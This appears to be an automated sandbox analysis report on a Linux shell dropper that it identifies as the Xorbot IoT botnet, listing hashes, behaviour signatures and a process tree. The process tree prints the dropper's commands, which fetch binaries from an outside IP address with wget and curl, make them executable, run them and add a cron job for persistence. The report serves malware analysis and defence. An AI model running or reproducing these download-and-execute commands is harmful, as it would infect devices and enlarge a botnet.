Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/12/2024, 13:31

General

  • Target

    2F2AM_bins.sh

  • Size

    10KB

  • MD5

    5487a00d588e2fdee33384c6b9083650

  • SHA1

    42d5da8e0c679b5ea93e9de5acb601fd23b68d74

  • SHA256

    2c63a569d43b7721befa5dc6c53dc0d804dcc9302c76c9b789eb1a06d2c111fc

  • SHA512

    3d9256d28169556b0aad9cd820dc6c931c4d02608aa9749ec56e4ae3e288babc3a1e8553c5982b7998acafb808d0a49f9c296f6ee8e0b2c358c1016730e6866d

  • SSDEEP

    192:RfUJYggpIpkktsx4uxlenHOqtx547v+zFFw9Zhkkts3xlq3OqHx547vSFFw9ZvAh:RfD4uxlenj/xlqQW

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2017) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/2F2AM_bins.sh
    /tmp/2F2AM_bins.sh
    1⤵
      PID:666
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:674
        • /usr/bin/wget
          wget http://216.126.231.164/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • Writes file to tmp directory
          PID:676
        • /usr/bin/curl
          curl -O http://216.126.231.164/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:691
        • /bin/busybox
          /bin/busybox wget http://216.126.231.164/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • Writes file to tmp directory
          PID:698
        • /bin/chmod
          chmod 777 xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • File and Directory Permissions Modification
          PID:700
        • /tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          ./xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:701
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:703
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:704
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:705
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:706
              • /bin/rm
                rm xQELCBMc3oaBzeqxQzdopUkVJt075oOm83
                2⤵
                  PID:708
                • /usr/bin/wget
                  wget http://216.126.231.164/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
                  2⤵
                    PID:733
                  • /usr/bin/curl
                    curl -O http://216.126.231.164/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N
                    2⤵
                      PID:804

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • /tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83

                    Filesize

                    127KB

                    MD5

                    89077b7bd4bcafca7713be43635c4862

                    SHA1

                    fc02edb8fba29ea8ee99e6157ef8560334530052

                    SHA256

                    78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                    SHA512

                    1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                  • /var/spool/cron/crontabs/tmp.PbnRye

                    Filesize

                    210B

                    MD5

                    890c155a5a2f2bb344fcad64f379518c

                    SHA1

                    0d8ed786c3bacde0deb9f5ed784ff8dbf8af03fe

                    SHA256

                    e319c0b8c95cc84d4c5c134e961778fdb26cd36def58f8fcd560d408b2169317

                    SHA512

                    8a0ecac8ea4b2e7db938e72a8af906bcda3bb614f1af633d3706db7bff6f20476b8e2b906ddb8cf9a8eb5de4ce9ab3e9f13cf77110b684c667f81507c4827e54